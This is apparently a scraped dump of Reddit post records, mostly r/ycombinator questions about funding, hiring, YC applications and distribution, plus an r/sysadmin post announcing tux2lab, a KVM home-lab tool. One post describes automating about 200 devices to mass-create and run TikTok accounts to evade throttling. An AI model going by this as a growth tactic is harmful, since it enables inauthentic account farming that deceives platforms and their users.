[tux2lab](https://github.com/Muthukumar-Subramaniam/tux2lab). tux2lab turns your Linux workstation into a self-contained virtual datacenter where you can deploy, break, and rebuild Linux VMs with multi-distro support, all fully unattended. **Full VM lifecycle from one CLI:** - Install (PXE or golden image), reimage, resize CPU/RAM/disk - Add/remove NICs and disks, snapshot create/revert/delete - Start, stop, shutdown, reboot, remove - Multi-VM operations in a single command - Health checks across all lab services **Your own local internal DNS domain:** Every host gets automated DNS registration. Forward and reverse records are created and managed as part of the provisioning workflow. You can also manage DNS records independently for your local infrastructure. **Lab infrastructure server:** It creates a private virtual network on your workstation with a central lab infrastructure server. When you provision a VM, the server orchestrates the entire process. DHCP assigns the IP, DNS registers the hostname, PXE/TFTP network boots the VM, and HTTP serves the install media and kickstart configs. All of it happens automatically behind a single command. You can deploy the infra server as an isolated VM (recommended, easy to delete and recreate) or directly on the host if you own the system and understand the caveats. **Guest provisioning:** - Red Hat family (Alma, Rocky, Oracle, CentOS Stream, RHEL) 10, 9, 8 via Kickstart - Ubuntu LTS 26.04, 24.04, 22.04 via cloud-init autoinstall - openSUSE Leap 16.0, 15.6, 15.5 via Agama / AutoYaST Once you set up a distro, you can build a golden image from it. That's a pre-configured base image with the lab environment loaded. From there, use golden image install to deploy VMs instead of running a full PXE install every time. That's the fastest path, VMs ready in under a minute. **Runs on:** - RHEL-based, VM mode + Host mode - Ubuntu, VM mode - Fedora, both (may need to uninstall GNOME Boxes) - RHEL-based WSL on Windows (AlmaLinux 9/10), with a few tweaks Mostly written in Bash to stay close to Linux, with Ansible handling the lab infrastructure services configuration management. Build, destroy, rebuild, repeat. GitHub: https://github.com/Muthukumar-Subramaniam/tux2lab Happy to hear any feedback or suggestions.",muthukumar-s,1,0,1781779960,/r/sysadmin/comments/1u930qa/tux2lab_a_kvm_based_virtual_home_lab_tool_for/,https://www.reddit.com/r/sysadmin/comments/1u930qa/tux2lab_a_kvm_based_virtual_home_lab_tool_for/,self.sysadmin,True,1,False,Linux,arctic-shift,1781885547 1ua0e2h,ycombinator,Is YC worth for EU startups,"Hi guys I'm Matt, bootstrapped Inflowave - crm for marketing agencies and I'm starting to run into a wall as a solo founder with devs. We're getting decent monthly users all from organic and referrals. Product is definitely validated with huge potential. Right now the biggest bottlenecks would be **Money** I'm the dev I'm the marketer I know how to run ads but the issue for SaaS that to run ads you will absolutely go negative and wait months to recoup the LTV. As a bootstrap this is no go. **Network** Currently we run into issues with meta and others which could've been simply resolved if we had access to the right people. With our model and the right connections we could take this company extremely far. Now that you have relevant context... We're based in Europe. Let's just say we get accepted. Do we get help to move there, help with visas for me (and my team? Or they stay remote?) Is YC superior to other european alternativs? Is it really an open door for all the goodies and hyper growth? I would love to hear from people who 'been there done that' ",martis941,1,0,1781871268,/r/ycombinator/comments/1ua0e2h/is_yc_worth_for_eu_startups/,https://www.reddit.com/r/ycombinator/comments/1ua0e2h/is_yc_worth_for_eu_startups/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1ua08j6,ycombinator,Most people don’t have a time management problem. They have an energy leak problem,"I’ve started noticing something The things that drain me the most aren’t usually the big problems, it’s the small stuff. A pointless argument with a stranger, spending 30 minutes talking about someone who isn’t even in the room, checking comments you know will annoy you, doing a task yourself that someone else could’ve done, replying to messages that don’t actually matter, thinking about things you can’t control or whatever None of these things seem important in the moment but they all take something from you and the scary part is that you usually don’t notice it happening. By noon, you’re already mentally exhausted. Not because you worked hard. Because you’ve been leaking energy since the moment you woke up. As founders, we obsess over managing money. We track every dollar, we negotiate every expense. But most of us are incredibly careless with our attention. We’ll spend an hour on drama and then wonder why we don’t have the energy to solve an important problem. Lately, I’ve been asking myself a simple question “Is this worth spending today’s energy on?” Most things aren’t.. the argument isn’t, the gossip isn’t, the unnecessary task isn’t, the thing that made you angry for five minutes definitely isn’t You only get a limited amount of focus, patience, creativity, and decision-making ability each day. spend it on things that move your life forward, everything else is probably just an energy leak. What drains you without you realizing it?",Suspicious_Store_137,1,0,1781870835,/r/ycombinator/comments/1ua08j6/most_people_dont_have_a_time_management_problem/,https://www.reddit.com/r/ycombinator/comments/1ua08j6/most_people_dont_have_a_time_management_problem/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9u09j,ycombinator,"devtool founders, how do you get users?","i've exhausted my own connections, got a few friends, ex-colleagues to use it on their hobby projects. Usage is there but too low that i need 10X or 100X to raise or put in more time ( otherwise i feel the project may not solve a large enough problem ). I've tried to go to a local startup meetup, did a presentation, got 0 sign up. I'd like to learn how others get their users? something doable by a single founder. thanks",Internal_Evening2098,1,0,1781849519,/r/ycombinator/comments/1u9u09j/devtool_founders_how_do_you_get_users/,https://www.reddit.com/r/ycombinator/comments/1u9u09j/devtool_founders_how_do_you_get_users/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9t7yh,ycombinator,Is it ok? To accept and move on that your idea will not work after 3 sharks decision?,,No_Succotash_7653,1,0,1781846926,/r/ycombinator/comments/1u9t7yh/is_it_ok_to_accept_and_move_on_that_your_idea/,https://www.reddit.com/r/ycombinator/comments/1u9t7yh/is_it_ok_to_accept_and_move_on_that_your_idea/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9t4nz,ycombinator,"Can I submit YC application without demo video, then add it 2 weeks later? Also, what about founder video or informations? Can I edit them ?",[removed],FayzullaSoguniy,1,0,1781846626,/r/ycombinator/comments/1u9t4nz/can_i_submit_yc_application_without_demo_video/,https://www.reddit.com/r/ycombinator/comments/1u9t4nz/can_i_submit_yc_application_without_demo_video/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9st7i,ycombinator,Any suggestion before posting on Hacker News?,"I am planning to promote my open source project on hacker news. Since I am new to HN (I've always been reading it but never posted on it), any suggestion would be helpful.",Instance_Not_Found,1,0,1781845613,/r/ycombinator/comments/1u9st7i/any_suggestion_before_posting_on_hacker_news/,https://www.reddit.com/r/ycombinator/comments/1u9st7i/any_suggestion_before_posting_on_hacker_news/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9siid,ycombinator,finding co-founders,[removed],npgandlove,1,0,1781844698,/r/ycombinator/comments/1u9siid/finding_cofounders/,https://www.reddit.com/r/ycombinator/comments/1u9siid/finding_cofounders/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9s492,ycombinator,"Anybody going to YC Startup School ? (Austin, TX)",[removed],CrazyNext7844,1,0,1781843419,/r/ycombinator/comments/1u9s492/anybody_going_to_yc_startup_school_austin_tx/,https://www.reddit.com/r/ycombinator/comments/1u9s492/anybody_going_to_yc_startup_school_austin_tx/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9rmdg,ycombinator,Timeline for enterprise design partnership?,[removed],throwRA-05191969,1,0,1781841882,/r/ycombinator/comments/1u9rmdg/timeline_for_enterprise_design_partnership/,https://www.reddit.com/r/ycombinator/comments/1u9rmdg/timeline_for_enterprise_design_partnership/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9rjl8,ycombinator,Delaware Certificate of Good Standing,"Submitted with 24 hr priority but no updates even after 24 hours. Do you usually get an email confirmation or something after you submit the request the certificate? I didn't get anything like that [](https://www.reddit.com/submit/?source_id=t3_1u9riy1&composer_entry=crosspost_prompt) ",LousyAcademic,1,0,1781841662,/r/ycombinator/comments/1u9rjl8/delaware_certificate_of_good_standing/,https://www.reddit.com/r/ycombinator/comments/1u9rjl8/delaware_certificate_of_good_standing/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9qpek,ycombinator,Looking to help founders find their first users,[removed],No-Reference1385,1,0,1781839098,/r/ycombinator/comments/1u9qpek/looking_to_help_founders_find_their_first_users/,https://www.reddit.com/r/ycombinator/comments/1u9qpek/looking_to_help_founders_find_their_first_users/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9oi7m,ycombinator,HELP,[removed],Opposite_Search_6934,1,0,1781832688,/r/ycombinator/comments/1u9oi7m/help/,https://www.reddit.com/r/ycombinator/comments/1u9oi7m/help/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9ln3j,ycombinator,Why do the landing pages of so many ycombinator companies look so amateurish?,I feel like ycombinator should have some kind of in-house frontend team to make sure this doesn't happen. It seems so preventable.,Dry_Bird1790,1,0,1781824695,/r/ycombinator/comments/1u9ln3j/why_do_the_landing_pages_of_so_many_ycombinator/,https://www.reddit.com/r/ycombinator/comments/1u9ln3j/why_do_the_landing_pages_of_so_many_ycombinator/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9kqgv,ycombinator,Any MechE going to YC SUS,[removed],FarAd5938,1,0,1781822338,/r/ycombinator/comments/1u9kqgv/any_meche_going_to_yc_sus/,https://www.reddit.com/r/ycombinator/comments/1u9kqgv/any_meche_going_to_yc_sus/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9kn0j,ycombinator,Review of this firm,[removed],Far_Environment249,1,0,1781822091,/r/ycombinator/comments/1u9kn0j/review_of_this_firm/,https://www.reddit.com/r/ycombinator/comments/1u9kn0j/review_of_this_firm/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9ki51,ycombinator,YC SUS ‘26,[removed],FarAd5938,1,0,1781821754,/r/ycombinator/comments/1u9ki51/yc_sus_26/,https://www.reddit.com/r/ycombinator/comments/1u9ki51/yc_sus_26/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9k0ma,ycombinator,How do I make myself an attractive hire for a YC startup or any startup?,"So I graduated, packed my bags, moved to SF without any real plan, and decided I’d try to get into a startup by being around the ecosystem instead of applying from far away. Since then, I’ve applied to hundreds of startup roles and written 100+ cold emails to founders, engineers, and hiring teams. Most were personalized. I read the role, looked at the company, and tried to explain why my projects mapped to what they were building. So far: mostly silence, some rejections, a few conversations, no offer. Context on me: * Recent ASU CS grad, now in SF * Looking for software / product / AI engineering roles at startups * Built Steward, a native macOS agent that operates apps through MCP + accessibility APIs, with OCR/visual matching, fallback strategies, and screenshot verification. currently being used by 16 users, paying me $25/month. * Built Scout, an autonomous research agent for insurance workflows * Built an AI video pipeline that helped grow a YouTube channel to 70K subs and 35M+ views in about two months * Built Omnyx, a multi-tenant Email and AI communication platform solo. I know nobody owes me a reply, and I’m not posting this to complain. I’m trying to understand what the market is actually selecting for. If you were hiring for a small startup, what would make someone like me stand out? More shipped projects? Open source? Working demos? Founder references? In-person events? Smaller companies? Different positioning? ",Guilty-Creme-2543,1,0,1781820532,/r/ycombinator/comments/1u9k0ma/how_do_i_make_myself_an_attractive_hire_for_a_yc/,https://www.reddit.com/r/ycombinator/comments/1u9k0ma/how_do_i_make_myself_an_attractive_hire_for_a_yc/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9j8lo,ycombinator,"If a candidate can be rejected in 5 minutes, don't ask for 5 hours of work first.","Dear Startups, ​ If a candidate can be rejected in 5 minutes, don't ask for 5 hours of work first. ​ This week I completed a take-home assignment, recorded a walkthrough video, prepared for the interview, and joined what was supposed to be an introductory call for an AI Engineer role. ​ A few minutes into the conversation, I learned: ​ The interviewer didn't know which role I was applying for. ​ The interviewer didn't know which assignment I had completed. ​ A supposedly ""hard requirement"" had never been mentioned in the job description. ​ That requirement was prior experience with session replay tools and workflows. ​ The requirement was intentionally omitted because candidates were ""expected to know it."" ​ The irony? ​ This wasn't a Session Replay Engineer role. ​ It wasn't a Product Analytics Engineer role. ​ It wasn't an Observability Engineer role. ​ It was an AI Engineer role. ​ Companies are free to define whatever requirements they want. ​ But if a requirement is important enough to end the conversation within minutes, it should be important enough to appear somewhere in the hiring process before candidates spend hours completing assignments. ​ The rejection wasn't the problem. ​ The process was. ​ Candidate time isn't free. ​ And every hiring process is a reflection of how a company operates internally. ​",More-Version3682,1,0,1781818643,/r/ycombinator/comments/1u9j8lo/if_a_candidate_can_be_rejected_in_5_minutes_dont/,https://www.reddit.com/r/ycombinator/comments/1u9j8lo/if_a_candidate_can_be_rejected_in_5_minutes_dont/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9j1u6,ycombinator,[FREE] I Want to Build Your logo and brand identity for your SaaS Startup for FREE!,[removed],SnooCapers9226,1,0,1781818202,/r/ycombinator/comments/1u9j1u6/free_i_want_to_build_your_logo_and_brand_identity/,https://www.reddit.com/r/ycombinator/comments/1u9j1u6/free_i_want_to_build_your_logo_and_brand_identity/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9ivne,ycombinator,User traction,[removed],Radiant_Magazine_541,1,0,1781817792,/r/ycombinator/comments/1u9ivne/user_traction/,https://www.reddit.com/r/ycombinator/comments/1u9ivne/user_traction/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9i18w,ycombinator,How to Have a Startup Team That Has a Competitive Edge?,"I attended a lot of startup events, and early investors constantly invest in early startups based on the team. Specifically, they say that they look to see if the team knows something that others don't, or they have some sort of competitive edge. My genuine question is, how do you achieve this ""competitive edge""? I know experience plays a great role here, like, for example, you worked 5+ years in an industry, and that's why you know something others don't, but other than that, how do you get one?",Yizzi15,1,0,1781815823,/r/ycombinator/comments/1u9i18w/how_to_have_a_startup_team_that_has_a_competitive/,https://www.reddit.com/r/ycombinator/comments/1u9i18w/how_to_have_a_startup_team_that_has_a_competitive/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9hof8,ycombinator,Where the hell do you live?,[removed],ThisisTMF,1,0,1781814999,/r/ycombinator/comments/1u9hof8/where_the_hell_do_you_live/,https://www.reddit.com/r/ycombinator/comments/1u9hof8/where_the_hell_do_you_live/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9gobf,ycombinator,Help me learn Entrepreneurial Finance,[removed],theG-72,1,0,1781812702,/r/ycombinator/comments/1u9gobf/help_me_learn_entrepreneurial_finance/,https://www.reddit.com/r/ycombinator/comments/1u9gobf/help_me_learn_entrepreneurial_finance/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9dbcj,ycombinator,Conflicted about Founding Engineer Role,[removed],Professional-Gap1029,1,0,1781805228,/r/ycombinator/comments/1u9dbcj/conflicted_about_founding_engineer_role/,https://www.reddit.com/r/ycombinator/comments/1u9dbcj/conflicted_about_founding_engineer_role/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9cs8k,ycombinator,Startup advice was written for a founder I'm not,"I have read a lot of books on startups and classic MBAs. Clayton Christensen, The Lean Startup, Reid Hoffman, Blitzscaling. Every Paul Graham essay, some more than once, since I was a kid. Every YC video, every founder podcast. If startups could be learned solely by reading, I would have built three of them by now and shipped two of them. In theory. But here is the strange thing: when I actually tried to do it as an immigrant founder, almost none of that knowledge felt relatable. I do not mean the advice was wrong. I mean it bounced right off me. It described a country I had read about but never lived in. The books talk about co-founder disputes, burn rates, and growth curves, clean problems with clean shapes. My hardest problems were never shaped like that. They were personal. They were cultural. They were about who I thought I was allowed to be, whether my family back home would understand, and whether I belonged in the room at all. None of my worst nights looked like the case studies. Take the simplest thing nobody prepares you for: how long it all takes. In my head, product-market fit would happen quickly, followed by millions in funding, and then I could finally chill. Instead, it took us about a year and a half just to find traction. A book compresses that grueling timeline into one confident sentence that takes four seconds to read. Living it took eighteen months of my life. There is a vast gulf between knowing a thing intellectually and feeling it physically. You can read every essay ever written about runway and still have no idea what it actually does to your body to wake up to an empty bank account. Months of no money, delayed transfers, and no clear move to make today, I have felt that now. The reading did not protect me even slightly. Here is the part I have only recently understood: even the famous immigrant founder stories did not quite fit my reality. Hamdi Ulukaya, Elon Musk, and Jan Koum were immigrants, yes, but they immigrated toward the epicenter. They landed in America, the one place on earth where being wildly ambitious is the norm and capital is everywhere. My journey was different. I am an immigrant, too, but I moved to a small, careful, deeply engineered country far from any startup hub. That is a third variable almost nobody writes about: the experience of being an outsider, while simultaneously being far from where it all happens, at the same time. The founders who did eventually resonate with me were people I discovered later, and it was never because of their tactics: \- Jan Koum was on food stamps before building Whatsapp \- Eric Yuan was refused a US visa eight times before creating Zoom \- Miki Kuusi built Wolt out of Helsinki, far from the Valley and it still became a multi-billion-dollar outcome. What stayed with me from their stories was never a playbook. It was the grit underneath, the human element that business books leave out because it cannot be neatly fit into a framework. I am still not entirely sure why I am doing this, and I am going to leave that sentence in. But I have stopped expecting it to be short, and I have stopped feeling cheated that the books did not match my life. They are maps, and maps are useful, but mine was drawn for a different country than the one I am walking through. The walking was the only thing that was ever going to teach me. And I think we are only at the beginning. Let us see how the next stage goes. ***P.S. Confession:*** *I have journaled like this since I was a kid, and I wrote all of this for myself last night. When I woke up, I wanted to organize the mess into something readable, so just for fun I asked Claude to help shape it, in a sort of Paul Graham style. After a few iterations, it felt a little cleaner but much more emotional than I expected, and I wanted to share it anyway. So I guess my real question is two questions: Did anyone else's startup journey look completely different from the books? And has anyone else started using AI to put words to things you already felt but couldn't say?* ",rhiday,1,0,1781804056,/r/ycombinator/comments/1u9cs8k/startup_advice_was_written_for_a_founder_im_not/,https://www.reddit.com/r/ycombinator/comments/1u9cs8k/startup_advice_was_written_for_a_founder_im_not/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9cpmc,ycombinator,Quantum R&D Market,[removed],Rough-While3444,1,0,1781803895,/r/ycombinator/comments/1u9cpmc/quantum_rd_market/,https://www.reddit.com/r/ycombinator/comments/1u9cpmc/quantum_rd_market/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9cn6t,ycombinator,Cold Email Tools That Actually Work???,[removed],moregpus,1,0,1781803750,/r/ycombinator/comments/1u9cn6t/cold_email_tools_that_actually_work/,https://www.reddit.com/r/ycombinator/comments/1u9cn6t/cold_email_tools_that_actually_work/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9c74c,ycombinator,Company Brain for services businesses - Idea Validation,[removed],KLIKFLO,1,0,1781802772,/r/ycombinator/comments/1u9c74c/company_brain_for_services_businesses_idea/,https://www.reddit.com/r/ycombinator/comments/1u9c74c/company_brain_for_services_businesses_idea/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9bfwv,ycombinator,Do you need to be a customer of your product before you start building it?,"This has been the question that I am fighting lately - at what level you yourself should have faced the problem before building a solution for it? How much time should you spend just using the current proprietary tools / closed source platforms before committing to building it?",Pleasant-Shoe7641,1,0,1781801104,/r/ycombinator/comments/1u9bfwv/do_you_need_to_be_a_customer_of_your_product/,https://www.reddit.com/r/ycombinator/comments/1u9bfwv/do_you_need_to_be_a_customer_of_your_product/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9ba3r,ycombinator,YC network goes absolutely insane,"Despite being the biggest, most reputable accelerator in the probably the entire world there are still times where I underestimate YC's influence then is surprises me. One specific instance of this happened recently and it came back to bite me pretty hard. I had launched on PH and emerged after the 4 hour mark at #1. I was feeling at an all-time high because of all the prep that had went into this launch and because we were ahead of a YC company that just raised a #3M pre-seed while we were bootstrapped and hustling constantly (wouldn't want it any other way though). From 4 to 7 we maintained the lead and I was extremely excited for the rest of the day to come. However, as soon as the Silicon Valley tech bro YC alum began to rise at 8 am, we went from a 20 upvote lead to now down 40 upvotes and down 60 comments. I didn't even realize that fast of a switch up was possible. But of course, that is the benefit of being part of a network forged by the very hands of Paul Graham himself.",Creative-Bunch-9046,1,0,1781800743,/r/ycombinator/comments/1u9ba3r/yc_network_goes_absolutely_insane/,https://www.reddit.com/r/ycombinator/comments/1u9ba3r/yc_network_goes_absolutely_insane/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9ar3b,ycombinator,What level of English is required to get into YC?,[removed],Johnnyveli,1,0,1781799557,/r/ycombinator/comments/1u9ar3b/what_level_of_english_is_required_to_get_into_yc/,https://www.reddit.com/r/ycombinator/comments/1u9ar3b/what_level_of_english_is_required_to_get_into_yc/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u9apt9,ycombinator,Are we being gaslit?,[removed],Impressive_Curve7077,1,0,1781799481,/r/ycombinator/comments/1u9apt9/are_we_being_gaslit/,https://www.reddit.com/r/ycombinator/comments/1u9apt9/are_we_being_gaslit/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u96e6w,ycombinator,How many of you see Browser Agents in Production?,"I'm working on a startup centered around browser agent reliability, and I'm very confident in my thesis on how to do so. Though I'm convinced of the problem as well as my solution to the problem, I wanted to ask to see how many people are actually deploying browser agents within an enterprise setting. Do you guys know people who are actively testing or deploying browser agents? A lot of people I've talked to are still on RPA due to trust concerns. ",ANANTHH,1,0,1781789534,/r/ycombinator/comments/1u96e6w/how_many_of_you_see_browser_agents_in_production/,https://www.reddit.com/r/ycombinator/comments/1u96e6w/how_many_of_you_see_browser_agents_in_production/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u94ouh,ycombinator,Having technical co-founder vs. founding engineer for YC application,"I'm a non-technical co-founder and I’m building a B2B startup. I have deep industry experience. I have a very technical cofounder (who’s also my dad) with >20 years of experience in AI tech. He built out the prototype within like 2 days. My issue has been that he doesn’t originate any ideas or handle the technical side 100%. Every bit of technical direction has to come from me, we worked on a B2C travel thing for a few months before this and it was the same there. I’m frankly exhausted as I’ve been working 18 hour days doing the business side of things and guiding the technical stuff. We had an interview with Antler this morning and it became very evident he wouldn’t be able to sell his story to a room full of serious VC investors/any customers. The interviewer heard his intro and basically redirected the entire conversation towards me. I’m applying to YC soon so trying to figure out if it’s worth listing him as a co-founder because it seems much harder for solo founders to get in. Even after getting in, he would be helping me on the technical side for sure. I kinda don’t think he’d get through a YC interview if I don’t drive like 99% of the conversation. He doesn’t care about the title so it wouldn’t be a big deal to let him know but it’s more for YC application and equity stake. (NOT hiring for co-founders right now)",Ok_Repair7723,1,0,1781785102,/r/ycombinator/comments/1u94ouh/having_technical_cofounder_vs_founding_engineer/,https://www.reddit.com/r/ycombinator/comments/1u94ouh/having_technical_cofounder_vs_founding_engineer/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u94k84,ycombinator,How are teams handling permissions for AI apps that need company context?,[removed],Expert-Ad2413,1,0,1781784735,/r/ycombinator/comments/1u94k84/how_are_teams_handling_permissions_for_ai_apps/,https://www.reddit.com/r/ycombinator/comments/1u94k84/how_are_teams_handling_permissions_for_ai_apps/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u93ieg,ycombinator,"""Building the Next Billion-Dollar Fintech from Kerala – WhyNot""",[removed],Muzamil_the_core,1,0,1781781557,/r/ycombinator/comments/1u93ieg/building_the_next_billiondollar_fintech_from/,https://www.reddit.com/r/ycombinator/comments/1u93ieg/building_the_next_billiondollar_fintech_from/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u93aef,ycombinator,Shipped the Most Advanced Blockchain Development Vibecoding Infrastructure,"gm everybody! I'm daniel, I'm 20 years old and I just shipped my favourite feature ever. I've added support for blockchain development in a vibecoding platform called biela. i've tried my best to abstract it as much as possible, so even complete beginners are now able to develop, test and deploy dApps with a few prompts. you don't even need a wallet or gas funds, as everything is handled for you (for local / testnets) prompt and the full smart contracts + a nice interface are created, connected and easily deployed quick demo: [**https://x.com/SelaruDaniel1/status/2067545926290362831**](https://x.com/SelaruDaniel1/status/2067545926290362831) if you want to try it out: [https://ide.biela.dev/r/9GD5BF8E](https://ide.biela.dev/r/9GD5BF8E) what do you think about it? let me know if you have any improvements ideas :DD",dani310_,1,0,1781780844,/r/ycombinator/comments/1u93aef/shipped_the_most_advanced_blockchain_development/,https://www.reddit.com/r/ycombinator/comments/1u93aef/shipped_the_most_advanced_blockchain_development/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u934cd,ycombinator,"""If you're happy with your product when you launch, you launched too late.""",[removed],Prestigious-Ask-5587,1,0,1781780313,/r/ycombinator/comments/1u934cd/if_youre_happy_with_your_product_when_you_launch/,https://www.reddit.com/r/ycombinator/comments/1u934cd/if_youre_happy_with_your_product_when_you_launch/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u92bjp,ycombinator,"AI search is still tiny, but clicks are already moving",[removed],[deleted],1,0,1781777581,/r/ycombinator/comments/1u92bjp/ai_search_is_still_tiny_but_clicks_are_already/,,,True,1,False,,arctic-shift,1781885552 1u92aza,ycombinator,AI search is tiny in analytics but not in discovery,[removed],[deleted],1,0,1781777525,/r/ycombinator/comments/1u92aza/ai_search_is_tiny_in_analytics_but_not_in/,,,True,1,False,,arctic-shift,1781885552 1u92aey,ycombinator,"AI search is small, but the numbers are moving",[removed],[deleted],1,0,1781777471,/r/ycombinator/comments/1u92aey/ai_search_is_small_but_the_numbers_are_moving/,,,True,1,False,,arctic-shift,1781885552 1u90aid,ycombinator,"Built a company brain, idea based on GBrain, a client asked to use it, now making hosted version.","I'm an educator and maker who's been writing software for a long time. I built a ""company brain"" for my own firm, basically a memory that answers questions but is honest about what it doesn't know (the idea came from Garry Tan's GBrain). I ran it internally for a few weeks. Then, a company that I built projects wanted to use this brain to focus on and evaluate messages coming into WhatsApp channels. I set up a hosted version and added more connections. The model is open core. The engine, gap analysis, MCP server, and CLI are fully self-hostable, no crippled ""community edition."" The paid side is the managed cloud: hosted connectors, dashboard, teams, and access control, audit. The data itself is plain Markdown you own and can walk away with. Still early, and there's plenty left to build (even the payment gateway is in approval; I collected money from that first company via wire), but it's real and in use. Curious what people here think about. Do I focus on more sophisticated problems in this niche and add them as a feature? Or should I just leave it like this? ",ImplementInternal673,1,0,1781770195,/r/ycombinator/comments/1u90aid/built_a_company_brain_idea_based_on_gbrain_a/,https://www.reddit.com/r/ycombinator/comments/1u90aid/built_a_company_brain_idea_based_on_gbrain_a/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8ypj0,ycombinator,How did you find your team?,"i‘m working on an app that turns your camera roll into social content for you. but I’m having a hard time finding my team who is proficient in the skills. how did you guys find your team and co founders? did you just search job boards?",DevinTryan,1,0,1781764497,/r/ycombinator/comments/1u8ypj0/how_did_you_find_your_team/,https://www.reddit.com/r/ycombinator/comments/1u8ypj0/how_did_you_find_your_team/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8tos6,ycombinator,"I built ""transparent"" AI for a regulated profession (workers' comp law). Now I've stripped out the law part and I'm not sure which industry to point it at next. Ideas?",[removed],Adjudica,1,0,1781748654,/r/ycombinator/comments/1u8tos6/i_built_transparent_ai_for_a_regulated_profession/,https://www.reddit.com/r/ycombinator/comments/1u8tos6/i_built_transparent_ai_for_a_regulated_profession/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8tdn9,ycombinator,YC Startup School Free Compute Credits,[removed],Nayd0,1,0,1781747794,/r/ycombinator/comments/1u8tdn9/yc_startup_school_free_compute_credits/,https://www.reddit.com/r/ycombinator/comments/1u8tdn9/yc_startup_school_free_compute_credits/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8mftl,ycombinator,"First rejection, startup school.",[removed],Freebzns,1,0,1781729945,/r/ycombinator/comments/1u8mftl/first_rejection_startup_school/,https://www.reddit.com/r/ycombinator/comments/1u8mftl/first_rejection_startup_school/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8ljwz,ycombinator,"Late joining CTO, Equity Question Check",[removed],Ockmeck,1,0,1781727913,/r/ycombinator/comments/1u8ljwz/late_joining_cto_equity_question_check/,https://www.reddit.com/r/ycombinator/comments/1u8ljwz/late_joining_cto_equity_question_check/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8k8jo,ycombinator,Here's how I solved distribution with no VC funding using 100 TikTok accounts,"I’m a solo founder. Like most people here, I had a product but zero distribution. Content was easy. Getting it in front of the right people at scale? Brutal. Everything either took too much time or got throttled. What I decided to do was switch to a different mental model: if I'm finding small growth hacks and content formats that work and give me 1,000 views, I'll just create dozens of accounts and pump that content instead of even bothering with growing an audience. **How it works:** Right now, I've got like 200 devices, all of which contain custom software that I've built to control the device. It's programmed via ADB (Android Debug Bridge). The automation is set to create accounts for me, warm them up, and then post. As far as content goes, I've been sourcing UGC creators from either here (Reddit) or other providers (not linking out to anyone here sorry. DM me if you want recs). What I do is generate a consistent pipeline of hooks using AI automations, **most importantly,** review them prior to being published to avoid AI slop.",Ok_Dingo8974,0,32,1781724975,/r/ycombinator/comments/1u8k8jo/heres_how_i_solved_distribution_with_no_vc/,https://www.reddit.com/r/ycombinator/comments/1u8k8jo/heres_how_i_solved_distribution_with_no_vc/,self.ycombinator,True,0.38,False,,arctic-shift,1781885552 1u8j1dt,ycombinator,Can’t help but feel like my startup was copied?,"https://x.com/garrytan/status/2067253344100561216?s=46 I applied to yc on May 5 and received a generic rejection email on June 5. My product is easywebsites.app to make building simple business websites easily. They announced ploy.ai today that is also an ai based website builder. Am I overthinking this? I could also be wrong but Garry Tan’s pitch sounds like he’s pitching my product. ",ParadoxicalGlutton,2,5,1781722431,/r/ycombinator/comments/1u8j1dt/cant_help_but_feel_like_my_startup_was_copied/,https://www.reddit.com/r/ycombinator/comments/1u8j1dt/cant_help_but_feel_like_my_startup_was_copied/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8hm87,ycombinator,"Launched 8-Fold this week. Its a place for founders to publish what they actually know, permanently.","Been thinking about this problem for a while and finally built something. Every founder I've talked to who's really good at what they do can point to a specific set of essays, papers, or experiences that shaped how they think. Its always specific, never generic. Ben Horowitz on the struggle. A random academic paper that reframed a product decision. Something they read in 2018 that they still think about. But that knowledge is basically invisible to everyone else. It lives in their head or a private doc and when they eventually move on it just disappears. Nobody inherits it. Nobody builds on it. There's also something bigger happening that made this feel urgent to build now. AI is collapsing the cost of generating plausible-sounding answers on basically any topic. What it genuinely cannot replicate is a specific person with a track record saying 'I've been in this for ten years and here's what I actually think matters and why.' Credible human judgment from someone with skin in the game is getting more valuable as AI gets better, not less. The durable role for human expertise isnt generating answers, its the verification layer. Knowing whose judgment to trust and on what. We built 8-Fold as the place where that judgment lives. You create a lens, a curated collection on something you know deeply, put your name on it, write a short note on why each thing you included actually matters. It gets a permanent URL. Other founders can learn from your thinking, reference your choices, build on what you found. Whats live: dozens of lenses covering AI research, engineering architecture, philosophy, 